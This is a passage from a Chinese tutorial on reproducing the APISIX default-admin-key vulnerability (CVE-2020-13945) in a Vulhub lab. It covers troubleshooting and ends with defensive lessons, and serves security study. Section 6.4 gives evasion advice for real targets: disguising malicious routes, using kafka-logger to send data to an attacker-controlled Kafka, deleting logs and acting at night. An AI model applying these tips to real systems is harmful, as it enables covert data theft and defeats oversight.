-v输出详细过程查看发送的请求头。确认APISIX版本Vulhub环境使用的是2.2镜像确实存在漏洞。如果你自行搭建的环境请确认版本号。进入容器查看docker exec -it container_id sh然后cat /usr/local/apisix/version。确认Admin API路径不同版本路径可能略有差异但/apisix/admin/routes是标准的。可以尝试访问/apisix/admin看看。查看APISIX错误日志进入容器查看日志文件/usr/local/apisix/logs/error.log里面可能有更详细的认证失败原因。解决方案仔细核对请求的每一个细节。对于Vulhub环境严格按照本文命令操作通常不会出错。如果是自建环境请检查conf/config.yaml中admin_key的配置确认你使用的密钥是否在允许的列表里。6.3 创建路由后访问返回404或502问题现象通过Admin API创建路由成功但通过公网端口访问该路由时返回404 Route Not Found或502 Bad Gateway。排查思路路由匹配问题检查创建的uri字段。APISIX默认是前缀匹配。如果你创建了/evil那么访问/evil、/evil/、/evil/test都能匹配。但如果访问/evilxxx则可能不匹配。确保你访问的URL路径与配置完全匹配。上游服务问题返回502通常意味着APISIX无法连接到上游upstream.nodes中配置的服务。在Vulhub环境中我们配置的是web:80这依赖于Docker的内部DNS。确保web服务容器正在运行docker-compose ps。网络连通性在APISIX容器内尝试curl web:80看是否能访问到后端服务。如果不能可能是Docker网络问题。解决方案对于Vulhub环境确保web服务已启动。可以尝试重启整个环境docker-compose down docker-compose up -d。检查路由配置的JSON格式是否正确特别是upstream.nodes的格式必须是{host:port: weight}的形式。6.4 如何在实际渗透测试中更隐蔽地利用在真实测试中直接使用/evil这样的路径和PUT /admin/routes这样敏感的操作极易被日志或WAF发现。隐蔽技巧使用合法路径研究目标业务已有的API路径创建一个与之相似但略有不同的路径或者直接篡改一个现有但低频使用的路由。利用已有插件优先考虑使用APISIX内置的、功能强大的插件来实现目标例如proxy-rewrite插件修改上游kafka-logger将数据发送到攻击者控制的Kafka这比上传未知插件更隐蔽。清理痕迹操作完成后可以考虑删除通过Admin API创建的路由日志如果日志可写或者使用删除操作覆盖掉之前创建的路由。但要注意审计日志可能被发送到远程系统本地删除无效。时间选择在业务低峰期如深夜进行操作减少被实时监控发现的概率。复现CVE-2020-13945漏洞的过程就像一次完整的安全事件推演。从环境搭建到漏洞验证再到深度利用和防御思考每一步都加深了对API网关安全模型的理解。对于运维和开发同学来说这个案例是一个响亮的警钟任何默认凭证都必须第一时间修改任何管理接口都必须施加严格的网络访问控制。而对于安全研究者它则展示了如何从一个简单的默认配置问题出发逐步深入挖掘出足以颠覆整个业务流量的严重威胁。在云原生和微服务架构普及的今天API网关作为流量枢纽其安全性怎么强调都不为过。